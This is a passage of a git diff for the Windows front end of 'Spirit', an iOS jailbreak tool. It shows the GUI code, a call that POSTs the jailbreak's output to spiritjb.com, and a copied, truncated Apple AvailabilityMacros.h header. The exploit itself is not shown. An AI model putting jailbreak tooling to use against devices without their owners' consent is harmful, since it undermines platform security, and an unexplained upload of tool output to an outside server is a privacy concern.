NULL, INTERNET_FLAG_ASYNC)) { + if (connect = InternetConnect(session, "spiritjb.com", INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 1)) { + if (request = HttpOpenRequest(connect, "POST", "/post.php", HTTP_VERSION, NULL, accept, INTERNET_FLAG_RELOAD, 1)) { + int ret = HttpSendRequest(request, headers, strlen(headers), output, strlen(output)); + } + } + } + } + } + + if (output) free(output); + isJailbreaking = FALSE; +} + +BOOL MessageLoop(BOOL blocking) { + MSG messages; + + if (!(blocking ? + GetMessage(&messages, NULL, 0, 0) : + PeekMessage(&messages, NULL, 0, 0, PM_REMOVE) + )) + return FALSE; + + TranslateMessage(&messages); + DispatchMessage(&messages); + + return TRUE; +} + +int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpszArgument, int nFunsterStil) +{ + // Load iTunes + if (load_mobile_device() != 0) { + MessageBox(NULL, TEXT("Spirit requires iTunes 9 to function. Please install a correct version of iTunes then run Spirit again."), TEXT("Error"), 64); + return 0; + } + + // Setup device callback + am_device_notification *notif; + am_device_notification_subscribe(device_notification_callback, 0, 0, NULL, ¬if); + + // Register window class + WNDCLASSEX wc; + wc.cbSize = sizeof(WNDCLASSEX); + wc.style = 0; + wc.lpfnWndProc = WindowProcedure; + wc.cbClsExtra = 0; + wc.cbWndExtra = 0; + wc.hInstance = hInstance; + wc.hIcon = LoadIcon(GetModuleHandle(NULL), TEXT("ID")); + wc.hCursor = LoadCursor(NULL, IDC_ARROW); + wc.hbrBackground = (HBRUSH) (COLOR_BTNFACE + 1); + wc.lpszMenuName = NULL; + wc.lpszClassName = szClassName; + wc.hIconSm = (HICON)LoadImage(GetModuleHandle(NULL), TEXT("ID"), IMAGE_ICON, 16, 16, 0); + if(!RegisterClassEx(&wc)) return 0; + + // Create the window + window = CreateWindowEx(0, szClassName, TEXT("Spirit"), WS_OVERLAPPED | WS_SYSMENU, CW_USEDEFAULT, CW_USEDEFAULT, 320, 130, HWND_DESKTOP, NULL, hInstance, NULL); + + // Title label + title = CreateWindowEx(0, TEXT("STATIC"), TEXT("Spirit"), WS_VISIBLE | WS_CHILD | SS_CENTER, 0, 10, 320, 25, window, NULL, NULL, NULL); + SendMessage(title, WM_SETFONT, (WPARAM) CreateFont(25, 0, 0, 0, FW_SEMIBOLD, FALSE, FALSE, FALSE, ANSI_CHARSET, OUT_TT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH | FF_DONTCARE, TEXT("Tahoma")), TRUE); + + // Jailbreak button + button = CreateWindowEx(0, TEXT("BUTTON"), TEXT("Jailbreak"), BS_PUSHBUTTON | WS_VISIBLE | WS_CHILD, 100, 42, 120, 25, window, NULL, NULL, NULL); + SendMessage(button, WM_SETFONT, (WPARAM) CreateFont(16, 0, 0, 0, FW_DONTCARE, FALSE, FALSE, FALSE, ANSI_CHARSET, OUT_TT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH | FF_DONTCARE, TEXT("Tahoma")), TRUE); + EnableWindow(button, FALSE); + + // Status label + status = CreateWindowEx(0, TEXT("STATIC"), TEXT("Please connect device."), WS_VISIBLE | WS_CHILD | SS_CENTER, 0, 75, 320, 18, window, NULL, NULL, NULL); + SendMessage(status, WM_SETFONT, (WPARAM) CreateFont(14, 0, 0, 0, FW_DONTCARE, FALSE, FALSE, FALSE, ANSI_CHARSET, OUT_TT_PRECIS, CLIP_DEFAULT_PRECIS, DEFAULT_QUALITY, DEFAULT_PITCH | FF_DONTCARE, TEXT("Tahoma")), TRUE); + + // Show the window + ShowWindow(window, nFunsterStil); + + char path[MAX_PATH]; + GetTempPath(MAX_PATH, path); + strcat(path, "spirit"); + sprintf(path + strlen(path), "%d", GetCurrentProcessId()); + _mkdir(path); + SetCurrentDirectory(path); + write_stuff(); + + // Run the main runloop. + while(MessageLoop(TRUE)); + + return 0; +} + + +LRESULT CALLBACK WindowProcedure(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam) +{ + switch (message) + { + case WM_COMMAND: + if (jailbreakSucceeded) { + PostQuitMessage(0); + return 0; + } + + performJailbreak(); + + break; + case WM_DESTROY: + PostQuitMessage(0); + + if (isJailbreaking) + TerminateProcess(pinfo.hProcess, 0); + + break; + default: + return DefWindowProc(hwnd, message, wParam, lParam); + } + return 0; +} diff --git a/wingui/wingui.rc b/wingui/wingui.rc new file mode 100644 index 0000000..914fcd5 --- /dev/null +++ b/wingui/wingui.rc @@ -0,0 +1 @@ +id ICON "../resources/icon.ico" diff --git a/winstuff/AvailabilityMacros.h b/winstuff/AvailabilityMacros.h new file mode 100644 index 0000000..e955010 --- /dev/null +++ b/winstuff/AvailabilityMacros.h @@ -0,0 +1,557 @@ +/* + File: AvailabilityMacros.h + + Copyright: (c) 2001-2005 by Apple Computer, Inc., all rights reserved. + + More Info: See TechNote 2064 + + Contains: Autoconfiguration of AVAILABLE_ macros for Mac OS X + + This header enables a developer to specify build time + constraints on what Mac OS X versions the resulting + application will be run. There are two bounds a developer + can specify: + + MAC_OS_X_VERSION_MIN_REQUIRED + MAC_OS_X_VERSION_MAX_ALLOWED + + The lower bound controls which calls to OS functions will + be weak-importing (allowed to be unresolved at launch time). + The upper bound controls which OS functionality, if used, + will result in a compiler error because that functionality is + not available on on any OS is the specifed range. + + For example, suppose an application is compiled with: + + MAC_OS_X_VERSION_MIN_REQUIRED = MAC_OS_X_VERSION_10_2 + MAC_OS_X_VERSION_MAX_ALLOWED = MAC_OS_X_VERSION_10_3 + + and an OS header contains: + + extern void funcA(void) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER; + extern void funcB(void) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_2; + extern void funcC(void) AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_3; + extern void funcD(void) AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER; + extern void funcE(void) AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER; + extern void funcF(void) AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER; + extern void funcG(void) AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER; + + typedef long TypeA DEPRECATED_IN_MAC_OS_X_VERSION_10_0_AND_LATER; + typedef long TypeB DEPRECATED_IN_MAC_OS_X_VERSION_10_1_AND_LATER; + typedef long TypeC DEPRECATED_IN_MAC_OS_X_VERSION_10_2_AND_LATER; + typedef long TypeD DEPRECATED_IN_MAC_OS_X_VERSION_10_3_AND_LATER; + typedef long TypeE DEPRECATED_IN_MAC_OS_X_VERSION_10_4_AND_LATER; + + Any application code which uses these declarations will get the following: + + compile link run + ------- ------ ------- + funcA: normal normal normal + funcB: warning normal normal + funcC: normal normal normal + funcD: normal normal normal + funcE: normal normal normal + funcF: normal weak on 10.3 normal, on 10.2 (&funcF == NULL) + funcG: error error n/a + typeA: warning + typeB: warning + typeC: warning + typeD: normal + typeE: normal + + +*/ +#ifndef __AVAILABILITYMACROS__ +#define __AVAILABILITYMACROS__ + + +/* + * Set up standard Mac OS X versions + */ +#define MAC_OS_X_VERSION_10_0 1000 +#define MAC_OS_X_VERSION_10_1 1010 +#define MAC_OS_X_VERSION_10_2 1020 +#define MAC_OS_X_VERSION_10_3 1030 +#define MAC_OS_X_VERSION_10_4 1040 +#define MAC_OS_X_VERSION_10_5 1050 + + +/* + * If min OS not specified, assume 10.1 + * Note: gcc driver may set _ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED_ based on MACOSX_DEPLOYMENT_TARGET environment variable + */ +#ifndef MAC_OS_X_VERSION_MIN_REQUIRED + #ifdef __ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__ + #define MAC_OS_X_VERSION_MIN_REQUIRED __ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__ + #else + #ifdef __ENVIRONMENT_ASPEN_VERSION_MIN_REQUIRED__ + #if __ENVIRONMENT_ASPEN_VERSION_MIN_REQUIRED__ < 10200 + #define MAC_OS_X_VERSION_MIN_REQUIRED MAC_OS_X_VERSION_10_4 + #else + #define MAC_OS_X_VERSION_MIN_REQUIRED MAC_OS_X_VERSION_10_5 + #endif + #elif __ppc64__ || __i386__ || __x86_64__ + #define MAC_OS_X_VERSION_MIN_REQUIRED MAC_OS_X_VERSION_10_4 + #elif __arm__ + #define MAC_OS_X_VERSION_MIN_REQUIRED MAC_OS_X_VERSION_10_5 + #else + #define MAC_OS_X_VERSION_MIN_REQUIRED MAC_OS_X_VERSION_10_1 + #endif + #endif +#endif + +/* + * if max OS not specified, assume largerof(10.5, min) + */ +#ifndef MAC_OS_X_VERSION_MAX_ALLOWED + #if MAC_OS_X_VERSION_MIN_REQUIRED > MAC_OS_X_VERSION_10_5 + #define MAC_OS_X_VERSION_MAX_ALLOWED MAC_OS_X_VERSION_MIN_REQUIRED + #else + #define MAC_OS_X_VERSION_MAX_ALLOWED MAC_OS_X_VERSION_10_5 + #endif +#endif + +/* + * Error on bad values + */ +#if MAC_OS_X_VERSION_MAX_ALLOWED < MAC_OS_X_VERSION_MIN_REQUIRED + #error MAC_OS_X_VERSION_MAX_ALLOWED must be >= MAC_OS_X_VERSION_MIN_REQUIRED +#endif +#if MAC_OS_X_VERSION_MIN_REQUIRED < MAC_OS_X_VERSION_10_0 + #error MAC_OS_X_VERSION_MIN_REQUIRED must be >= MAC_OS_X_VERSION_10_0 +#endif + +/* + * only certain compilers support __attribute__((weak_import)) + */ +#define WEAK_IMPORT_ATTRIBUTE + +/* + * only certain compilers support __attribute__((deprecated)) + */ +#if defined(__GNUC__) && ((__GNUC__ >= 4) || ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 1))) + #define DEPRECATED_ATTRIBUTE __attribute__((deprecated)) +#else + #define DEPRECATED_ATTRIBUTE +#endif + +/* + * only certain compilers support __attribute__((unavailable)) + */ +#if defined(__GNUC__) && ((__GNUC__ >= 4) || ((__GNUC__ == 3) && (__GNUC_MINOR__ >= 1))) + #define UNAVAILABLE_ATTRIBUTE __attribute__((unavailable)) +#else + #define UNAVAILABLE_ATTRIBUTE +#endif + + + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER + * + * Used on functions introduced in Mac OS X 10.0 + */ +#define AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED + * + * Used on functions introduced in Mac OS X 10.0, + * and deprecated in Mac OS X 10.0 + */ +#define AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED DEPRECATED_ATTRIBUTE + +/* + * DEPRECATED_IN_MAC_OS_X_VERSION_10_0_AND_LATER + * + * Used on types deprecated in Mac OS X 10.0 + */ +#define DEPRECATED_IN_MAC_OS_X_VERSION_10_0_AND_LATER DEPRECATED_ATTRIBUTE + + + + + + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER + * + * Used on declarations introduced in Mac OS X 10.1 + */ +#if MAC_OS_X_VERSION_MAX_ALLOWED < MAC_OS_X_VERSION_10_1 + #define AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER UNAVAILABLE_ATTRIBUTE +#elif MAC_OS_X_VERSION_MIN_REQUIRED < MAC_OS_X_VERSION_10_1 + #define AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER WEAK_IMPORT_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER +#endif + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER_BUT_DEPRECATED + * + * Used on declarations introduced in Mac OS X 10.1, + * and deprecated in Mac OS X 10.1 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_1 + #define AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER_BUT_DEPRECATED DEPRECATED_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER_BUT_DEPRECATED AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER +#endif + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_1 + * + * Used on declarations introduced in Mac OS X 10.0, + * but later deprecated in Mac OS X 10.1 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_1 + #define AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_1 DEPRECATED_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_1 AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER +#endif + +/* + * DEPRECATED_IN_MAC_OS_X_VERSION_10_1_AND_LATER + * + * Used on types deprecated in Mac OS X 10.1 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_1 + #define DEPRECATED_IN_MAC_OS_X_VERSION_10_1_AND_LATER DEPRECATED_ATTRIBUTE +#else + #define DEPRECATED_IN_MAC_OS_X_VERSION_10_1_AND_LATER +#endif + + + + + + + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER + * + * Used on declarations introduced in Mac OS X 10.2 + */ +#if MAC_OS_X_VERSION_MAX_ALLOWED < MAC_OS_X_VERSION_10_2 + #define AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER UNAVAILABLE_ATTRIBUTE +#elif MAC_OS_X_VERSION_MIN_REQUIRED < MAC_OS_X_VERSION_10_2 + #define AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER WEAK_IMPORT_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER +#endif + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER_BUT_DEPRECATED + * + * Used on declarations introduced in Mac OS X 10.2, + * and deprecated in Mac OS X 10.2 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_2 + #define AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER_BUT_DEPRECATED DEPRECATED_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER_BUT_DEPRECATED AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER +#endif + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_2 + * + * Used on declarations introduced in Mac OS X 10.0, + * but later deprecated in Mac OS X 10.2 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_2 + #define AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_2 DEPRECATED_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_2 AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER +#endif + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_2 + * + * Used on declarations introduced in Mac OS X 10.1, + * but later deprecated in Mac OS X 10.2 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_2 + #define AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_2 DEPRECATED_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_2 AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER +#endif + +/* + * DEPRECATED_IN_MAC_OS_X_VERSION_10_2_AND_LATER + * + * Used on types deprecated in Mac OS X 10.2 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_2 + #define DEPRECATED_IN_MAC_OS_X_VERSION_10_2_AND_LATER DEPRECATED_ATTRIBUTE +#else + #define DEPRECATED_IN_MAC_OS_X_VERSION_10_2_AND_LATER +#endif + + + + + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER + * + * Used on declarations introduced in Mac OS X 10.3 + */ +#if MAC_OS_X_VERSION_MAX_ALLOWED < MAC_OS_X_VERSION_10_3 + #define AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER UNAVAILABLE_ATTRIBUTE +#elif MAC_OS_X_VERSION_MIN_REQUIRED < MAC_OS_X_VERSION_10_3 + #define AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER WEAK_IMPORT_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER +#endif + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER_BUT_DEPRECATED + * + * Used on declarations introduced in Mac OS X 10.3, + * and deprecated in Mac OS X 10.3 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_3 + #define AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER_BUT_DEPRECATED DEPRECATED_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER_BUT_DEPRECATED AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER +#endif + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_3 + * + * Used on declarations introduced in Mac OS X 10.0, + * but later deprecated in Mac OS X 10.3 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_3 + #define AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_3 DEPRECATED_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_3 AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER +#endif + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_3 + * + * Used on declarations introduced in Mac OS X 10.1, + * but later deprecated in Mac OS X 10.3 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_3 + #define AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_3 DEPRECATED_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_3 AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER +#endif + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_3 + * + * Used on declarations introduced in Mac OS X 10.2, + * but later deprecated in Mac OS X 10.3 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_3 + #define AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_3 DEPRECATED_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_3 AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER +#endif + +/* + * DEPRECATED_IN_MAC_OS_X_VERSION_10_3_AND_LATER + * + * Used on types deprecated in Mac OS X 10.3 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_3 + #define DEPRECATED_IN_MAC_OS_X_VERSION_10_3_AND_LATER DEPRECATED_ATTRIBUTE +#else + #define DEPRECATED_IN_MAC_OS_X_VERSION_10_3_AND_LATER +#endif + + + + + + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER + * + * Used on declarations introduced in Mac OS X 10.4 + */ +#if MAC_OS_X_VERSION_MAX_ALLOWED < MAC_OS_X_VERSION_10_4 + #define AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER UNAVAILABLE_ATTRIBUTE +#elif MAC_OS_X_VERSION_MIN_REQUIRED < MAC_OS_X_VERSION_10_4 + #define AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER WEAK_IMPORT_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER +#endif + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER_BUT_DEPRECATED + * + * Used on declarations introduced in Mac OS X 10.4, + * and deprecated in Mac OS X 10.4 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_4 + #define AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER_BUT_DEPRECATED DEPRECATED_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER_BUT_DEPRECATED AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER +#endif + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_4 + * + * Used on declarations introduced in Mac OS X 10.0, + * but later deprecated in Mac OS X 10.4 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_4 + #define AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_4 DEPRECATED_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_4 AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER +#endif + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_4 + * + * Used on declarations introduced in Mac OS X 10.1, + * but later deprecated in Mac OS X 10.4 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_4 + #define AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_4 DEPRECATED_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_4 AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER +#endif + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_4 + * + * Used on declarations introduced in Mac OS X 10.2, + * but later deprecated in Mac OS X 10.4 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_4 + #define AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_4 DEPRECATED_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_4 AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER +#endif + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_4 + * + * Used on declarations introduced in Mac OS X 10.3, + * but later deprecated in Mac OS X 10.4 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_4 + #define AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_4 DEPRECATED_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_4 AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER +#endif + +/* + * DEPRECATED_IN_MAC_OS_X_VERSION_10_4_AND_LATER + * + * Used on types deprecated in Mac OS X 10.4 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_4 + #define DEPRECATED_IN_MAC_OS_X_VERSION_10_4_AND_LATER DEPRECATED_ATTRIBUTE +#else + #define DEPRECATED_IN_MAC_OS_X_VERSION_10_4_AND_LATER +#endif + + + + + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER + * + * Used on declarations introduced in Mac OS X 10.5 + */ +#if MAC_OS_X_VERSION_MAX_ALLOWED < MAC_OS_X_VERSION_10_5 + #define AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER UNAVAILABLE_ATTRIBUTE +#elif MAC_OS_X_VERSION_MIN_REQUIRED < MAC_OS_X_VERSION_10_5 + #define AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER WEAK_IMPORT_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER +#endif + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER_BUT_DEPRECATED + * + * Used on declarations introduced in Mac OS X 10.5, + * and deprecated in Mac OS X 10.5 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_5 + #define AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER_BUT_DEPRECATED DEPRECATED_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER_BUT_DEPRECATED AVAILABLE_MAC_OS_X_VERSION_10_5_AND_LATER +#endif + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5 + * + * Used on declarations introduced in Mac OS X 10.0, + * but later deprecated in Mac OS X 10.5 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_5 + #define AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5 DEPRECATED_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5 AVAILABLE_MAC_OS_X_VERSION_10_0_AND_LATER +#endif + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5 + * + * Used on declarations introduced in Mac OS X 10.1, + * but later deprecated in Mac OS X 10.5 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_5 + #define AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5 DEPRECATED_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5 AVAILABLE_MAC_OS_X_VERSION_10_1_AND_LATER +#endif + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5 + * + * Used on declarations introduced in Mac OS X 10.2, + * but later deprecated in Mac OS X 10.5 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_5 + #define AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5 DEPRECATED_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5 AVAILABLE_MAC_OS_X_VERSION_10_2_AND_LATER +#endif + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5 + * + * Used on declarations introduced in Mac OS X 10.3, + * but later deprecated in Mac OS X 10.5 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_5 + #define AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5 DEPRECATED_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5 AVAILABLE_MAC_OS_X_VERSION_10_3_AND_LATER +#endif + +/* + * AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5 + * + * Used on declarations introduced in Mac OS X 10.4, + * but later deprecated in Mac OS X 10.5 + */ +#if MAC_OS_X_VERSION_MIN_REQUIRED >= MAC_OS_X_VERSION_10_5 + #define AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5 DEPRECATED_ATTRIBUTE +#else + #define AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER_BUT_DEPRECATED_IN_MAC_OS_X_VERSION_10_5 AVAILABLE_MAC_OS_X_VERSION_10_4_AND_LATER +#endif + +/* + * DEPRECATED_IN_MAC_OS_X_VERSION_10_5_AND_LATER + * + * Used on types deprecated in Mac OS X 10.5 + */ +#if 